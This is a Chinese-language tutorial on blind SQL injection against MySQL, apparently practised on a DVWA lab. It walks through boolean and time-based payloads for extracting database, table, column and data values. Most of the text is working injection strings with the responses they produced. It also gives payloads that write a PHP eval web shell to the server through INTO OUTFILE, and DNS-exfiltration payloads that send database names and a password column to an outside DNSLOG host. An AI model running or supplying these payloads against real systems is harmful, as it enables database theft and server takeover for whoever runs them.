SQL Injection（Blind），即SQL盲注，与一般注入的区别在于，一般的注入攻击者可以直接从页面上看到注入语句的执行结果，而盲注时攻击者通常是无法从显示页面上获取执行结果，甚至连注入语句是否执行都无从得知，因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。
0x01分类
Booleanbase(基于布尔)
布尔很明显Ture跟Fales，也就是说它只会根据你的注入信息返回Ture跟Fales，也就没有了之前的报错信息。
Timebase（基于时间）
界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数，通过查看web页面返回的时间差来判断注入的语句是否正确
0x02常用函数
1234567 |
substr() substr(string string,num start,num length);string为字符串；start为起始位置；length为长度。count() 计数函数 count()函数是用来统计表中记录的一个函数,返回匹配条件的行数select count(*) from mysql.user where id =1ascii()返回对应字符的十进制值length() 返回字符串长度left() left(str, length)，即：left(被截取字符串， 截取长度) |
0x03手工盲注的步骤
1.判断是否存在注入，注入是字符型还是数字型
2.猜解当前数据库名
3.猜解数据库中的表名
4.猜解表中的字段名
5.猜解数据
0x04布尔盲注
1.判断注入点
1234 |
1' or 1=1#1' or 1=2#如果注入点在order by后面，那么则可以使用判断语句来构造报错。select 1 from te order by if(1,1,(select 1 union select 2)) limit 0,3; |
2.进行数据库猜解
12345678910111213 |
数据库长度：1' and length(database())=4 #数据库名：二分法猜解表：通过与ascii码对照，一位一位的得出字符1' and ascii(substr(database(),1,1))>97# 页面返回存在1’ and 11' and ascii(substr(database(),1,1))>100# 页面返回不存在1' and ascii(substr(database(),1,1))<103# 页面返回存在1' and ascii(substr(database(),1,1))<100# 页面返回不存在最终发现：数据库名的第一位字符的ascii码值为 100，则得到字母d重复上述步骤，就可以猜解出完整的数据库名dvwa了 |
3.猜表名
12345678910111213141516171819202122232425 |
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1# 显示不存在1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 显示存在得知有 2 个表，继续使用length()函数来猜测表名的长度：1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1# 显示不存在Userguestbook1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在···1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在说明第一个表名长度为 9。1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),,1))=97 # 显示存在UserU991' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在说明第一个表的名字的第一个字符为小写字母g。…重复上述步骤，即可猜解出两个表名guestbook、users。 |
4.猜解表中的字段名
首先猜解表中字段的数量：
123456789101112 |
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=1 # 显示不存在…1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 # 显示存在说明users表有 8 个字段。接着挨个猜解字段名长度：1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=1 # 显示不存在…1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 # 显示存在说明users表的第一个字段为 7 个字符长度。采用二分法，即可猜解出所有字段名。 |
5.猜解数据
1 |
同样采用二分法 |
0x05时间盲注
1.判断是否存在注入，注入是字符型还是数字型
12 |
1' and sleep(5) #感觉到明显延迟；1 and sleep(5) #没有延迟； |
2.猜解当前数据库名
123456789101112131415161718192021 |
首先猜解数据名的长度1' and if(length(database())=1,sleep(5),1) # 没有延迟1' and if(length(database())=2,sleep(5),1) # 没有延迟1' and if(length(database())=3,sleep(5),1) # 没有延迟1' and if(length(database())=4,sleep(5),1) # 明显延迟If函数 IF(expr1,expr2,expr3)，如果expr1的值为true，则返回expr2的值，如果expr1的值为false，则返回expr3的值。说明数据库名长度为 4 个字符。接着采用二分法猜解数据库名：1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟…1' and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟1' and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟说明数据库名的第一个字符为小写字母d。…重复上述步骤，即可猜解出数据库名 |
3.猜解数据库中的表名
12345678910111213 |
首先猜解数据库中表的数量：1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 没有延迟1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明显延迟说明数据库中有两个表。接着挨个猜解表名：1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟…1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明显延迟说明第一个表名的长度为 9 个字符。采用二分法即可猜解出表名。 |
4.猜解表中的字段名
123456789101112131415 |
首先猜解表中字段的数量：1' and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 没有延迟…1' and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明显延迟说明users表中有 8 个字段。接着挨个猜解字段名：1' and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 没有延迟…1' and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明显延迟说明users表的第一个字段长度为 7 个字符。采用二分法即可猜解出各个字段名。 |
5.猜解数据
1 |
同样采用二分法。 |
0x06导出Webshell
12 |
知道物理路径，且有MYSQL的ROOT权限1' union select "<?php @eval($_GET['xxx']) ?>",2 into outfile 'C:\\phpStudy\\WWW\\123.php'# |
0x07DNS注入（盲注的眼睛）
不论是bool型盲注还是时间型盲注，都需要频繁的跑请求才能够获取数据库中的值，在现代WAF的防护下，很可能导致IP被ban。我们可以结合DNSLOG完美快速的将数据取出。如遇到MySql的盲注时，可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件，同时也能对诸如\www.test.com这样的URL发起请求。
函数
load_file函数：加载一个文件
原理
示例
Mysql
12345 |
1.test' and if((select load_file(concat('\\\\',(select database()),'.fz0bj5.ceye.io\\abc'))),1,1)#test' and if((select load_file(concat('\\\\',(select user()),'.fz0bj5.ceye.io\\abc'))),1,1)#然后查看ceye，成功获取到了数据库名称对于表段，由于load_file()一次只能传输一条数据，所以查询的时候需要使用limit来一个一个的解析。
|
12345678 |
2.查表名test' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='mkcms' limit 0,1),'.fz0bj5.ceye.io\\abc'))),1,1)#3.查字段test' and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='mkcms_user' limit 0,1),'.fz0bj5.ceye.io\\abc'))),1,1)#4.查字段值test' and if((select load_file(concat('\\\\',(select u_password from mkcms_user limit 0,1),'.fz0bj5.ceye.io\\abc'))),1,1)#5.导出webshell（知道物理路径且Mysql为root权限） test' union select "<?php @eval($_POST['wade']); ?>" into outfile 'C:\\phpstudy\\www\\wade.php'#
|